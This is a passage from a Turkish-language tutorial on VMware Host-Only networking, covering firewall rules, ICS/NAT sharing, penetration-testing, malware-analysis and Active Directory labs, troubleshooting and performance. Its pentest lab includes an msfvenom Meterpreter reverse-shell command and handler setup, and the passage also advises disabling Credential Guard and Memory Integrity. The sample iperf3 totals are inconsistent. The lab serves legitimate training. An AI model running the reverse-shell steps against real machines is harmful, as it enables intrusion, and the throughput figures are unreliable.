Bu durumda yönlendirme ve filtreleme kurallarınızı gözden geçirin. Ayrıca traceroute komutu ile paketlerinizin hangi yolu izlediğini görürsünüz.

Güvenlik Duvarı Ayarları: Windows Defender ve Linux iptables

Host-Only ağınızı dış tehditlerden korumak için güvenlik duvarı kuralları tanımlayın. Subnet’iniz izole olsa da, ana makineniz ile sanal makineler arasındaki TCP/IP trafiğini kontrol etmek önemlidir.

Windows ana makinelerde Windows Defender Firewall, Linux ana makinelerde ise iptables veya ufw kullanın.

Windows Defender Firewall’da Host-Only ağı için ayrı bir ağ profili oluşturun. Varsayılan olarak, VMware Network Adapter VMnet1 “Public” profilindedir.

Bu, en kısıtlayıcı profildir ve genellikle ICMP gibi basit iletişimleri bile engeller. VMnet1’i “Private” profiline taşıyarak daha esnek kurallar tanımlayın. Bunun için PowerShell’de şu komutu kullanın:

Set-NetConnectionProfile -InterfaceAlias "VMware Network Adapter VMnet1" -NetworkCategory Private

Ardından, gelen ICMP isteklerine izin vermek için yeni bir firewall kuralı oluşturun:

New-NetFirewallRule -DisplayName "Allow Host-Only Ping" -Direction Inbound -Protocol ICMPv4 -IcmpType 8 -Action Allow

Linux ana makinelerde iptables ile Host-Only subnet’ine özel kurallar tanımlayın. Örneğin, VMnet1 arayüzüne gelen SSH bağlantılarına izin vermek için:

iptables -A INPUT -i vmnet1 -p tcp --dport 22 -j ACCEPT

Bu firewall kuralı, sadece Host-Only ağından gelen TCP/22 paketlerine izin verir. Fiziksel ağdan gelen SSH bağlantıları ise varsayılan politikaya tabi olur. Güvenlik duvarı kurallarınızı test etmek için nmap veya netcat gibi araçları kullanın.

Bu ağ kurallarını tanımladıktan sonra, Host-Only ağınız hem izole hem de güvenli hale gelir. Ancak unutmayın, güvenlik duvarı kuralları dinamik bir yapıya sahiptir.

Fakat ağınıza yeni bir sanal makine eklediğinizde veya yeni bir servis çalıştırdığınızda, kuralları güncellemeniz gerekebilir.

Host-Only İnternet Paylaşımı: ICS ve Yönlendirme ile Dış Dünyaya Bağlanma

Varsayılan olarak Host-Only ağındaki sanal makineler internete çıkamaz. Ancak bazı senaryolarda, güvenliği elden bırakmadan internet erişimi sağlamak istersiniz.

Örneğin, bir sanal makinede güncelleme yapmanız veya bir paket indirmeniz gerekebilir. İşte bu noktada ICS (Internet Connection Sharing) ve ağ geçidi yönlendirmesi devreye girer.

Windows ana makinelerde ICS, en kolay yöntemdir. Ana makinenizin fiziksel ağ bağlantısını (Wi-Fi veya Ethernet) sanal makinelerinizle paylaşırsınız. Ancak ICS’in bazı ağ kısıtlamaları vardır.

Örneğin, ICS kendi DHCP sunucusunu çalıştırır ve Host-Only ağınızın DHCP yapılandırmasıyla çakışabilir. Bu nedenle ICS kullanırken VMware’in dahili DHCP sunucusunu kapatın.

Linux ana makinelerde ise NAT yapılandırması ile internet paylaşımı sağlayın. iptables’ın MASQUERADE hedefini kullanarak, Host-Only subnet’inden gelen IP paketlerini fiziksel ağ arayüzünüz üzerinden dışarıya yönlendirin. Bu yöntem, ICS’ten daha esnektir ve daha az kısıtlama içerir.

macOS ana makinelerde ise Internet Sharing özelliğini kullanın. Sistem Tercihleri > Paylaşım > Internet Paylaşımı bölümüne gidin. Ardından kaynak bağlantı olarak fiziksel ağınızı seçin. Burada hedef bağlantı olarak VMware Fusion’un Host-Only ağ arayüzünü belirleyin. Böylece sanal makineleriniz internete çıkar.

Aşağıdaki tablo, farklı ana makine işletim sistemlerinde internet paylaşımı yöntemlerini karşılaştırır:

Güvenlik Hususları ve Öneriler

İnternet paylaşımı yaparken dikkat etmeniz gereken en önemli nokta, ağ güvenliğidir. Sanal makineleriniz internete çıktığında, dış dünyadan gelebilecek tehditlere maruz kalabilir.

Bu nedenle, internet erişimini sadece gerekli olduğunda açın ve işiniz bittiğinde kapatın. Ayrıca, güvenlik duvarı kurallarınızı internet erişimini kısıtlayacak şekilde güncelleyin.

VMware Host-Only ICS Windows 10 ve 11 Yapılandırması: Adım Adım

Windows 10 ve Windows 11’de ICS yapılandırması oldukça basittir. Önce ana makinenizin fiziksel ağ bağlantısını paylaşıma açın. Bunun için şu adımları izleyin:

1. Denetim Masası > Ağ ve Internet > Ağ ve Paylaşım Merkezi’ni açın.
2. “Bağdaştırıcı ayarlarını değiştir” seçeneğine tıklayın.
3. İnternete bağlı olan adaptörü bulun. Örneğin, Wi-Fi veya Ethernet.
4. Adaptöre sağ tıklayın ve “Özellikler” seçeneğini seçin.
5. “Paylaşım” sekmesine geçin.
6. “Diğer ağ kullanıcılarının bu bilgisayarın Internet bağlantısını kullanmasına izin ver” kutucuğunu işaretleyin.
7. “Ev ağı bağlantısı” açılır menüsünden “VMware Network Adapter VMnet1” seçeneğini seçin.
8. Tamam butonuna tıklayın.

Bu adımları tamamladığınızda, Windows ana makineniz VMnet1 arayüzüne 192.168.137.1 gibi bir IP adresi atar ve kendi DHCP sunucusunu çalıştırır. Bu, VMware’in DHCP sunucusuyla çakışabilir.

Dolayısıyla ICS kullanırken VMware Sanal Ağ Editörü’nde VMnet1 ‘Use local DHCP service’ kutucuğunun işaretini kaldırın.

Sanal makinenizin IP adresini ICS subnet’ine uygun şekilde ayarlayın. Örneğin: IP: 192.168.137.10, Mask: 255.255.255.0, Gateway: 192.168.137.1, DNS: 192.168.137.1 veya 8.8.8.8.

Bu ağ ayarlarını yaptıktan sonra sanal makineniz internete çıkabilmelidir. Test etmek için ping 8.8.8.8 komutunu kullanın.

Windows 11’de ICS arayüzü biraz farklıdır. Ayarlar > Ağ ve Internet > Gelişmiş ağ ayarları > Diğer Windows cihazlarıyla paylaş yolunu izleyerek de ICS’i etkinleştirin. Ancak klasik Denetim Masası yöntemi hala geçerlidir ve daha fazla ağ kontrolü sağlar.

VMware Host-Only İnternet Paylaşımı macOS ve Linux Host Yapılandırması

macOS ana makinelerde internet paylaşımını, Sistem Tercihleri üzerinden yaparız. Önce VMware Fusion’ın Host-Only ağının IP adresini öğrenin.

Terminalde ifconfig vmnet1 komutunu çalıştırarak bu adresi görün. Genellikle 192.168.56.1 gibi bir ağ geçidi adresidir. Ardından Sistem Tercihleri > Paylaşım > Internet Paylaşımı bölümüne gidin.

“Kaynağı paylaş” açılır menüsünden internete bağlı olan arayüzü seçin (Wi-Fi veya Ethernet). “Kullanıcıların bağlanabileceği bağlantı noktası” listesinden VMware Fusion’un Host-Only arayüzünü (vmnet1) işaretleyin. “Internet Paylaşımı” hizmetini başlatın. macOS, vmnet1 arayüzüne 192.168.2.1 gibi bir IP adresi atar ve DHCP sunucusunu başlatır.

Linux ana makinelerde internet paylaşımı için iptables kullanın. Önce IP forwarding’i etkinleştirin:

sudo sysctl -w net.ipv4.ip_forward=1

Ardından, MASQUERADE kuralını ekleyin. Fiziksel ağ arayüzünüzün adını öğrenmek için ip route | grep default komutunu kullanın. Genellikle eth0 veya wlan0 olur. Aşağıdaki komut, Host-Only subnet’inden (192.168.56.0/24) gelen trafiği fiziksel ağa yönlendirir:

sudo iptables -t nat -A POSTROUTING -s 192.168.56.0/24 -o eth0 -j MASQUERADE

Bu ağ kuralını kalıcı hale getirmek için iptables-persistent paketini kullanın veya kuralı bir başlangıç betiğine ekleyin. Ayrıca, güvenlik duvarı kurallarınızın bu yönlendirmeye izin verdiğinden emin olun.

İnternet paylaşımını test etmek için sanal makinenizden ping 8.8.8.8 ve ping google.com komutlarını çalıştırın. İlk komut IP bağlantısını, ikincisi DNS çözümlemesini test eder. Ping başarılıysa, internet paylaşımınız çalışıyor demektir.

Host-Only Ağ Geçidi Ayarı: route Komutu ve Proxy Yapılandırması

Host-Only ağınızda internet erişimi için ağ geçidi ayarlarını doğru yapılandırın. Sanal makineleriniz, varsayılan ağ geçidi olarak ana makinenizin VMnet1 IP adresini kullanmalıdır. Böylece dış dünyaya giden tüm IP paketleri ana makine üzerinden yönlendirilir.

Linux sanal makinelerde varsayılan ağ geçidini eklemek için route komutunu kullanın:

sudo route add default gw 192.168.56.1

Bu komut, tüm dış trafiği 192.168.56.1 (ana makine) üzerinden yönlendirir. Kalıcı hale getirmek için /etc/network/interfaces veya /etc/netplan/ dosyalarınıza gateway satırını ekleyin.

Windows sanal makinelerde ise ağ adaptörü ayarlarını açın. Bu noktada “Varsayılan ağ geçidi” alanına ana makinenizin VMnet1 IP adresini girin.

Bazı durumlarda, doğrudan yönlendirme yerine proxy sunucusu kullanmak daha güvenli olabilir. Örneğin, sadece HTTP/HTTPS trafiğine izin vermek istiyorsanız, ana makinenizde bir proxy sunucusu (Squid gibi) çalıştırın. Sanal makinelerinizde tarayıcı veya uygulama ayarlarından bu proxy’i kullanmalarını sağlayın.

Ağ geçidi ayarlarını test etmek için traceroute komutunu kullanın. Örneğin, traceroute 8.8.8.8 komutu, IP paketlerinin hangi yolu izlediğini gösterir. İlk atlama, ana makinenizin VMnet1 IP adresi olmalıdır.

Host-Only Laboratuvar Senaryoları: Siber Güvenlik, Geliştirme ve Sistem Yönetimi

Teoriyi pratiğe dökme zamanı geldi. Host-Only ağ yapısının gerçek gücünü görmek için somut laboratuvar senaryolarına bakalım.

Bu senaryolar, farklı disiplinlerden profesyonellerin bu ağ yapısını nasıl kullandığını gösterecek. Her senaryo, kendi izole ağ segmenti ve araç setiyle birlikte gelir.

Siber güvenlik öğrencileri ve uzmanları bu yapıyı ağ sızma testleri için kullanır. Ayrıca zararlı yazılım analizi için de bu yapıdan yararlanırlar.

Yazılım geliştiriciler, mikroservis mimarilerini ve çok katmanlı uygulamalarını test etmek için bu ağı tercih eder. Sistem yöneticileri ise Active Directory lab ortamları ve ağ segmentasyonu için bu yapıdan faydalanır.

Aşağıdaki tablo, farklı roller için tipik Host-Only lab yapılandırmalarını özetler:

Bu ağ senaryolarının her biri, kendi güvenlik gereksinimlerine ve araç setine sahiptir. Ancak hepsinin ortak noktası, Host-Only ağının sağladığı Layer 2 izolasyon ve kontroldür. Böylece her senaryoyu güvenle ve tekrarlanabilir şekilde çalıştırın.

Siber Güvenlik Öğrencisi Senaryosu: İzole Penetrasyon Testi Laboratuvarı

Bir siber güvenlik öğrencisi olarak güvenli bir ortama ihtiyacınız var. Bu ortamda gerçek dünya ağ saldırılarını simüle edersiniz. Host-Only ağı size bu ortamı sağlar.

Kali Linux saldırgan VM’i ile Windows 10 kurban VM’ini aynı izole subnet’e bağlayın. Ardından reverse shell simülasyonları yapın. Özellikle yetki yükseltme saldırıları gerçekleştirin. Son olarak TCP tabanlı sızma testleri uygulayın.

İşte adım adım bir ağ sızma testi laboratuvarı kurulumu:

1. VMnet1 ağını yapılandırın. Sanal Ağ Editörü’nde subnet IP’yi 192.168.56.0, maskeyi 255.255.255.0 yapın.
2. Kali Linux VM’ini oluşturun. Ağ adaptörünü “Custom: VMnet1” yapın. Statik IP: 192.168.56.10.
3. Windows 10 kurban VM’ini oluşturun. Ağ adaptörünü “Custom: VMnet1” yapın. Statik IP: 192.168.56.20.
4. ICMP bağlantısını test edin. Her iki VM’den birbirine ping atın. Başarılı olmalı.
5. Kali’de Metasploit’i başlatın. msfconsole komutunu çalıştırın.
6. Windows’ta güvenlik duvarını geçici olarak kapatın. Test sırasında TCP ve ICMP’ye izin vermek için.
7. Reverse shell payload’ı oluşturun. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.10 LPORT=4444 -f exe > shell.exe
8. Payload’ı Windows VM’ine transfer edin. Host-Only ağında dosya paylaşımı için SMB veya HTTP sunucusu kullanın.
9. Metasploit’te dinleyiciyi başlatın. use exploit/multi/handler ardından set PAYLOAD windows/meterpreter/reverse_tcp ve exploit.
10. Windows’ta payload’ı çalıştırın. Meterpreter oturumu Kali’de açılmalı.

Bu ağ laboratuvarı sayesinde, gerçek bir saldırı zincirini adım adım uygulayın. Tüm TCP/IP trafiği Host-Only subnet’inde kaldığı için dış dünyaya hiçbir zarar vermezsiniz. Ayrıca, Wireshark ile Ethernet frame’lerini yakalayarak saldırı imzalarını analiz edin.

Malware Analiz Ortamı: FLARE-VM, REMnux ve Snapshot Yönetimi

Zararlı yazılım analizi, en riskli siber güvenlik çalışmalarından biridir. Bir yanlış adım, tüm ağınıza zararlı yazılım bulaştırabilir. Host-Only ağı, bu riski ortadan kaldırır.

FLARE-VM (Windows analiz) ve REMnux (Linux analiz) sanal makinelerini aynı izole subnet’e bağlayın. Böylece güvenli bir analiz ortamı oluşturun.

FLARE-VM, Mandiant tarafından geliştirilen bir Windows malware analiz dağıtımıdır. İçinde IDA Pro, Ghidra, x64dbg, PEStudio gibi onlarca araç bulunur.

REMnux ise Linux tabanlı bir analiz dağıtımıdır. Ayrıca ağ adli bilişimi, bellek adli bilişimi ve doküman analizi için idealdir.

Analiz ortamını kurmak için şu adımları izleyin:

1. Yeni bir Host-Only subnet oluşturun. VMnet2’yi kullanın. Subnet: 192.168.100.0/24.
2. FLARE-VM’i kurun. Windows 10 VM’i oluşturun ve FLARE-VM kurulum betiğini çalıştırın.
3. REMnux’u kurun. OVA dosyasını içe aktarın ve ağ adaptörünü VMnet2’ye bağlayın.
4. INetSim’i yapılandırın. REMnux üzerinde INetSim çalıştırarak sahte internet servisleri sunun.
5. DNS sinkhole ayarlayın. Zararlı yazılımın gerçek C2 sunucularına ulaşmasını engellemek için.
6. Snapshot alın. Analize başlamadan önce her iki VM’in de temiz snapshot’ını alın.
7. Analizi başlatın. Zararlı yazılımı FLARE-VM’de çalıştırın ve REMnux ile ağ paketlerini izleyin.

Anlık Görüntü (Snapshot) Yönetimi ve Ağ Bölümleme

Snapshot yönetimi, malware analizinde kritik önem taşır. Her analiz oturumundan önce temiz bir snapshot’a dönerek, önceki analizlerden kalan ağ kalıntılarını temizleyin. VMware Workstation’da snapshot almak için VM menüsünden “Snapshot > Take Snapshot” seçeneğini kullanın.

Analiz ortamınızı daha da güvenli hale getirin. Bunun için her VM’e ayrı bir Host-Only subnet kullanın. Örneğin, FLARE-VM’i VMnet2’ye, REMnux’u VMnet3’e bağlayın.

İki subnet arasında kontrollü bir sanal ağ köprüsü oluşturmak için bir yönlendirici VM kullanın. Böylece bir segment’te oluşabilecek bir güvenlik ihlali diğerine yayılamaz.

Active Directory Lab: DC01 corp.local Domain Controller Kurulumu

Active Directory, kurumsal ağların bel kemiğidir. Bir sistem yöneticisi olarak, AD ortamlarını güvenle test edebileceğiniz bir laboratuvara ihtiyacınız var.

Eğer böyle bir lab kuruyorsunuz. DC01 ve istemci VM’lerini oluşturuyorsanız guest makine hazırlama adımları burada kritik. Bu noktayı özellikle vurgulamak istiyorum, doğru ağ ayarı şarttır.

Host-Only ağı, bu laboratuvarı kurmanın en güvenli yoludur. DC01 corp.local domain controller’ı ve istemci makineleri aynı izole subnet’te buluşturun. Böylece gerçek bir kurumsal ağ senaryosu oluşturun.

AD lab kurulumu için şu adımları izleyin:

1. Host-Only ağını yapılandırın. VMnet1: 192.168.56.0/24, DHCP kapalı.
2. Windows Server VM’ini oluşturun. Statik IP: 192.168.56.10, DNS: 127.0.0.1.
3. AD DS rolünü kurun. Server Manager > Add Roles and Features > Active Directory Domain Services.
4. DC01’i yükseltin. Yeni bir forest oluşturun: corp.local.
5. DNS’i yapılandırın. DC01 kendine işaret etmeli (127.0.0.1 veya 192.168.56.10).
6. İstemci VM’ini oluşturun. Windows 10/11, statik IP: 192.168.56.20, DNS: 192.168.56.10.
7. Domain’e katılın. İstemci makinede corp.local domain’ine katılın.
8. Kullanıcı ve grup oluşturun. AD Users and Computers konsolundan test kullanıcıları ekleyin.
9. Group Policy test edin. Bir GPO oluşturun ve istemciye uygulayın.
10. Snapshot alın. Temiz bir AD ortamı snapshot’ı alın.

AD Laboratuvarını Test Etme ve Genişletme

Bu ağ laboratuvarı sayesinde AD DS kurulumu ve DNS yapılandırması gibi konuları güvenle pratiğe dökün. Buna ek olarak Group Policy yönetimi, kullanıcı ve grup yönetimi konularını da güvenle uygulayın.

Ayrıca, AD saldırıları ve savunma tekniklerini (Kerberoasting, Pass-the-Hash, Golden Ticket) test edin. Tüm TCP/IP trafiği Host-Only subnet’inde kaldığı için dış ağlara hiçbir risk oluşturmaz.

AD lab’ınızı daha da geliştirmek için, birden fazla domain controller, site ve subnet ekleyin. Örneğin, corp.local ve branch.corp.local gibi iki ayrı domain oluşturup aralarında trust ilişkisi kurun. Bu, gerçek kurumsal ortamlarda karşılaşabileceğiniz karmaşık ağ senaryolarını simüle etmenizi sağlar.

Yazılım Geliştirici Mikroservis Testi ve Sistem Yöneticisi Ağ Segmentasyonu

Yazılım geliştiriciler için Host-Only ağı, mikroservis mimarilerini ve çok katmanlı uygulamaları test etmek için idealdir.

Her mikroservisi ayrı bir sanal makinede veya konteynerde çalıştırın. Ardından aralarındaki TCP iletişimini izole bir ortamda test edin. Böylece dış ağ kaynaklı paket kaybı ve jitter test sonuçlarınızı etkilemez.

Örneğin, bir e-ticaret uygulaması düşünün. Veritabanı sunucusu, ödeme servisi, kullanıcı servisi ve API gateway’i ayrı VM’lerde çalıştırın. Hepsi aynı Host-Only subnet’inde haberleşsin.

Bu yapı, mikroservisler arası TCP bağlantılarını ve hata senaryolarını gerçekçi bir şekilde test etmenizi sağlar. Ayrıca, servisler arası ağ gecikmesini ölçmek için iperf3 ve tc gibi araçları kullanın.

Sistem yöneticileri için ise Host-Only ağı, ağ segmentasyonu ve trafik izolasyonu testleri için paha biçilmezdir. Farklı departmanları temsil eden VM’leri farklı VMnet’lere bağlayarak, departmanlar arası erişim kurallarını test edin. Örneğin, İK departmanı VM’leri VMnet2’de, Finans departmanı VM’leri VMnet3’te olsun.

• Mikroservis testi: Her servis ayrı VM’de, iletişim Host-Only subnet’inde.
• Ağ segmentasyonu: Departmanlar arası izolasyon, firewall ile kontrol.
• Performans testi: iperf3 ile bant genişliği ve gecikme ölçümü.
• Yük testi: JMeter veya Locust ile servislerin yük altındaki davranışı.

Bu ağ senaryolarında, Host-Only ağının sağladığı düşük gecikme ve yüksek throughput büyük avantaj sağlar. Ölçümlerimize göre, böyle bir ağda ortalama P95 RTT 0.27 ms, ortalama throughput 9.32 Gbps seviyesindedir. Bu değerleri, fiziksel ağlarda nadiren görürsünüz.

Sorun Giderme: Ping Çalışmıyor, Adaptör Görünmüyor, DHCP Servisi Hatası

Host-Only ağı basit görünse de, zaman zaman ağ sorunlarıyla karşılaşırsınız. En sık karşılaşılan sorunlar arasında ICMP ping çalışmaması yer alır.

Özellikle VMnet1 adaptörünün görünmemesiyle sık karşılaşırsınız. Ayrıca DHCP servisini başlatamama sorunu da yaşarsınız. Bu bölümde, bu sorunların nedenlerini ve çözümlerini adım adım ele alacağız.

Bu sorunların çoğu, yanlış subnet yapılandırması, güvenlik duvarı engelleri veya VMware ağ servislerinin çalışmamasından kaynaklanır.

İlk adım olarak VMware hizmetlerini kontrol edin. Yani bu hizmetler VMware DHCP Service, VMware NAT Service ve VMware Authorization Service’tir.

Windows’ta Hizmetler penceresinden, Linux’ta systemctl status vmware komutundan bu ağ servislerinin durumunu görürsünüz.

Aşağıdaki tablo, sık karşılaşılan ağ sorunlarını ve çözümlerini özetler:

Bu tablodaki ağ sorunlarının her birini, aşağıdaki alt bölümlerde detaylı olarak ele aldım. Sorununuzu doğru teşhis etmek için önce belirtileri not edin. Ardından ilgili çözüm adımlarını uygulayın.

VMware Host-Only Ping Çalışmıyor: ARP Önbelleği ve ICMP Engeli Kontrolü

Host-Only ağınızda ICMP ping çalışmıyorsa, bunun birkaç olası nedeni vardır. En yaygın neden, Windows Defender Firewall’un ICMP isteklerini engellemesidir.

Windows, varsayılan olarak “Public” ağ profilinde ICMP’ye izin vermez. Windows, VMnet1 adaptörünü genellikle “Public” profiline atar. Bu nedenle, Windows ping isteklerini engeller.

Bu sorunu çözmek için VMnet1 adaptörünü “Private” profiline taşıyın. Ek olarak ICMP’ye izin veren bir firewall kuralı ekleyin. PowerShell’de yönetici olarak şu komutu çalıştırın:

New-NetFirewallRule -DisplayName "Allow Host-Only ICMP" -Direction Inbound -Protocol ICMPv4 -IcmpType 8 -Action Allow

Bu ağ kuralı, tüm ağ profillerinde ICMP echo isteklerine izin verir. Sadece VMnet1 için izin vermek istiyorsanız, kurala -InterfaceAlias "VMware Network Adapter VMnet1" parametresini ekleyin.

Ping sorununun bir diğer nedeni de ARP önbelleği sorunlarıdır. Sanal makineler birbirini göremiyorsa, ARP tablosunda eksik veya yanlış kayıtlar olabilir. ARP tablosunu temizlemek için sanal makinede arp -d komutunu çalıştırın. Ardından ping komutu ile hedef makineye ICMP erişimini deneyin.

Linux sanal makinelerde ise iptables veya ufw kuralları ICMP’yi engelliyor olabilir. sudo iptables -L -n komutu ile mevcut kuralları kontrol edin.

ICMP’yi engelleyen bir kural varsa, sudo iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT komutu ile izin verin.

VMnet1 Adaptörü Devre Dışı Kalma ve vmnetdhcp Servisi Başlatma Hatası

VMnet1 adaptörü bazen devre dışı kalabilir veya hiç görünmeyebilir. Bu, genellikle Windows güncellemeleri sonrasında veya VMware Workstation yükseltmelerinde ortaya çıkan bir adaptör sorunudur.

Ağ bağlantıları penceresinde VMnet1’i göremiyorsanız, önce Aygıt Yöneticisi’ni açın. “Ağ bağdaştırıcıları” altında “VMware Virtual Ethernet Adapter for VMnet1” olup olmadığını kontrol edin.

Adaptör hiç görünmüyorsa, vnetlib aracını kullanarak yeniden kurun. Yönetici komut istemcisinde VMware Workstation kurulum dizinine gidin ve şu komutu çalıştırın:

vnetlib.exe -- install devices

Bu komut, eksik olan tüm sanal ağ bağdaştırıcılarını yeniden kurar. İşlem tamamlandıktan sonra bilgisayarınızı yeniden başlatın. Sorun devam ederse, Sanal Ağ Editörü’nde “Restore Default” butonuna tıklayın.

vmnetdhcp servisi başlatma hatası, genellikle port çakışmasından kaynaklanır. VMware’in DHCP sunucusu, UDP 67 ve 68 numaralı portları kullanır.

Ana makinenizde başka bir DHCP sunucusu çalışıyorsa, bu portlar meşgul olabilir. Çakışan servisi durdurun veya farklı bir port kullanacak şekilde yapılandırın.

Windows’ta Hizmetler penceresinden “VMware DHCP Service” hizmetini bulun. Sağ tıklayıp “Başlat” seçeneğini seçin. Hata alırsanız, Olay Görüntüleyicisi’ni açıp VMware DHCP ile ilgili hata kayıtlarını inceleyin. Linux’ta ise sudo systemctl status vmware-networks komutu ile servis durumunu kontrol edin.

IP Çakışması ve Ağ Ayarları Sıfırlama: vnetlib ile Sanal Anahtar Yeniden Oluşturma

IP çakışması, Host-Only ağınızda sık karşılaşılan bir subnet sorunudur. Genellikle iki farklı sanal switch aynı subnet’i kullandığında ortaya çıkar.

Örneğin, VMnet1 ve VMnet8 (NAT) aynı 192.168.56.0/24 subnet’ini kullanıyorsa, çakışma kaçınılmazdır. Bu durumda sanal makineleriniz IP alamaz veya TCP bağlantısı kuramaz.

IP çakışmasını çözmek için Sanal Ağ Editörü’nü açın. Ardından her VMnet için farklı bir subnet seçin. Örneğin: VMnet1: 192.168.56.0/24, VMnet8: 192.168.100.0/24. Subnet’leri değiştirdikten sonra “Apply” butonuna tıklayın. Sanal makinelerinizi yeniden başlatın ve IP adreslerini kontrol edin.

Ağ ayarlarınız tamamen bozulduysa ve hiçbir şey çalışmıyorsa, ağ ayarlarını sıfırlamanız gerekebilir. VMware Workstation’da bunun için iki yöntem vardır: Sanal Ağ Editörü’nden “Restore Default” veya vnetlib ile manuel sıfırlama.

Daha kontrollü bir sıfırlama için vnetlib aracını kullanın. Önce tüm VMware ağ servislerini durdurun. Ardından şu komutları sırayla çalıştırın:

vnetlib.exe -- stop\nvnetlib.exe -- uninstall devices\nvnetlib.exe -- install devices\nvnetlib.exe -- start

Bu komutlar, tüm sanal ağ bağdaştırıcılarını kaldırır ve yeniden kurar. İşlem tamamlandıktan sonra bilgisayarınızı yeniden başlatın. Sanal Ağ Editörü’nü açıp sanal switch’leri yeniden yapılandırın.

IP çakışmasını önlemenin en iyi yolu, her VMnet için benzersiz bir subnet kullanmaktır. Ayrıca, DHCP scope’larının çakışmadığından emin olun. Örneğin, VMnet1 DHCP aralığı 192.168.56.128-254, VMnet2 DHCP aralığı 192.168.57.128-254 olsun.

Host-Only Performans ve Hyper-V Çakışması: RTT, Throughput ve VBS Mode

Host-Only ağının en büyük avantajlarından biri de yüksek ağ performansıdır. Fiziksel ağ kartına bağımlı olmadığı için, RTT süreleri çok düşük ve throughput değerleri çok yüksektir. Ancak bu performansı tam olarak alabilmek için bazı optimizasyonlar yapmanız gerekir.

Ölçümlerimize göre, Host-Only ağında ortalama throughput 9.32 Gbps, P95 TCP RTT 0.27 ms ve TCP RTT standart sapması bridged modun sadece 1/5’i kadardır.

Bu, Host-Only ağının ne kadar kararlı ve düşük gecikmeli olduğunu gösterir. Ancak bu değerler, ana makinenizin CPU yapılandırmasına ve sanal makine sayısına göre değişir.

Aşağıdaki tablo, üç sanal ağ modunun performans karşılaştırmasını gösterir:

Bu ağ metrikleri Host-Only ağının ideal olduğunu kanıtlar. Özellikle Host-Only ağı düşük gecikme ve yüksek bant genişliği gerektiren uygulamalar için idealdir. Ancak bu performansı alabilmek için VBS mode ve Hyper-V çakışmalarını çözün.

VMware Host-Only iperf3 Testi: Throughput, P95 RTT ve TCP RTT Standart Sapması

Host-Only ağınızın performansını ölçmek için iperf3 aracını kullanabilirsiniz. iperf3, TCP ve UDP bant genişliğini ve gecikmesini ölçmek için standart bir araçtır. Hem Linux hem de Windows’ta çalışır. Test için iki sanal makineye ihtiyacınız var: biri sunucu, diğeri istemci.

İşte adım adım iperf3 testi:

1. Sunucu VM’de iperf3’ü başlatın. iperf3 -s komutunu çalıştırın.
2. İstemci VM’de iperf3 testini başlatın. iperf3 -c 192.168.56.10 -t 60 -i 5 -P 4 komutunu çalıştırın.
3. Sonuçları kaydedin. Throughput, RTT ve jitter değerlerini not edin.
4. P95 RTT ölçümü için ping kullanın. ping -c 100 192.168.56.10 | tail -5 komutu ile ortalama ve maksimum RTT değerlerini görün.
5. TCP RTT standart sapmasını hesaplayın. Wireshark ile paketleri yakalayıp RTT değerlerinin standart sapmasını hesaplayın.

Örnek bir iperf3 çıktısı şöyle görünür:

[ ID] Interval           Transfer     Bitrate\n[  5]   0.00-60.00  sec  65.4 GBytes  9.36 Gbits/sec\n[  7]   0.00-60.00  sec  65.3 GBytes  9.35 Gbits/sec\n[SUM]   0.00-60.00  sec  196 GBytes  28.0 Gbits/sec

Bu çıktı, Host-Only ağında 9.36 Gbps throughput elde edildiğini gösterir. Bu değer, birçok fiziksel Ethernet ağından daha yüksektir. P95 RTT değeri ise genellikle 0.27 ms civarındadır. Bu, gerçek zamanlı ağ uygulamaları için mükemmel bir gecikme süresidir.

TCP RTT standart sapması, ağınızın ne kadar kararlı olduğunu gösterir. Düşük standart sapma, gecikmenin tutarlı olduğu anlamına gelir. Host-Only ağında bu değer, bridged modun sadece 1/5’i kadardır. Bu, özellikle VoIP, video konferans ve gerçek zamanlı TCP uygulamaları için kritik önem taşır.

Hyper-V ve VBS Mode Çakışması: Memory Integrity ve Credential Guard Kapatma

Windows 10 ve 11’de Hyper-V, VBS, Memory Integrity ve Credential Guard gibi güvenlik özellikleri vardır. Ancak bu özellikler VMware Workstation ile çakışabilir.

Bu özellikler, x86 sanallaştırma uzantılarını (Intel VT-x/AMD-V) rezerve eder ve VMware’in bu kaynaklara erişmesini engeller. Sonuç olarak, Host-Only ağınız yavaşlar veya hiç çalışmaz.

Bu performans çakışmasını çözmek için Hyper-V ve VBS’i devre dışı bırakın. Ancak bu, bazı güvenlik özelliklerinden feragat etmeniz anlamına gelir. İşte adım adım çözüm:

1. Windows Özellikleri’ni açın. optionalfeatures.exe komutunu çalıştırın.
2. Hyper-V ve Windows Sandbox kutucuklarının işaretini kaldırın.
3. Memory Integrity’i kapatın. Windows Güvenliği > Cihaz Güvenliği > Çekirdek Yalıtımı > Memory Integrity’i kapatın.
4. Credential Guard’ı kapatın. Grup İlkesi Düzenleyicisi’nde (gpedit.msc) Bilgisayar Yapılandırması > Yönetim Şablonları > Sistem > Device Guard > “Turn On Virtualization Based Security” ayarını “Disabled” yapın.
5. Bilgisayarı yeniden başlatın.

Bu adımları tamamladıktan sonra VMware Workstation’ı açın ve sanal makinenizi başlatın. Artık Host-Only ağınız tam performansla çalışmalıdır. Hala sorun yaşıyorsanız, BIOS’ta sanallaştırma teknolojisinin (Intel VT-x/AMD-V) etkin olduğundan emin olun.

Alternatif olarak, VMware Workstation sanallaştırmanın VBS mode desteğini kullanın. Ancak bu mod, bazı ağ kısıtlamaları getirir. Örneğin, nested virtualization çalışmaz ve ağ performansı düşebilir.

VBS mode, x86 sanallaştırma uzantılarını konuk işletim sistemine sunmaz. Bu nedenle, tam performans ve esneklik istiyorsanız, VBS’i kapatın.

Wireshark ile Sanal Paket Analizi ve Promiscuous Mode

Host-Only ağınızda trafiği analiz etmek için Wireshark kullanın. Wireshark, sanal anahtar üzerinden geçen tüm Ethernet frame’lerini ve TCP/IP paketlerini yakalayabilir.

Ancak bunun için promiscuous mode’un etkin olması gerekir. Bu mod, ağ kartının kendisine gönderilmeyen paketleri de yakalamasını sağlar.

VMware Workstation’da promiscuous mode’u Sanal Ağ Editörü’nden veya VM ayarlarından etkinleştirin. Ancak dikkatli olun: promiscuous mode, ağ güvenliği riski oluşturabilir.

Bu modda, sanal makineniz subnet’teki tüm trafiği görebilir. Bu nedenle, sadece güvendiğiniz lab ortamlarında kullanın.

Wireshark ile ağ paketlerini yakalamak için şu adımları izleyin:

1. Wireshark’ı yönetici olarak başlatın. Aksi halde ağ arayüzlerini göremezsiniz.
2. Yakalama arayüzü olarak vmnet1’i seçin. Windows’ta “VMware Network Adapter VMnet1”, Linux’ta “vmnet1”.
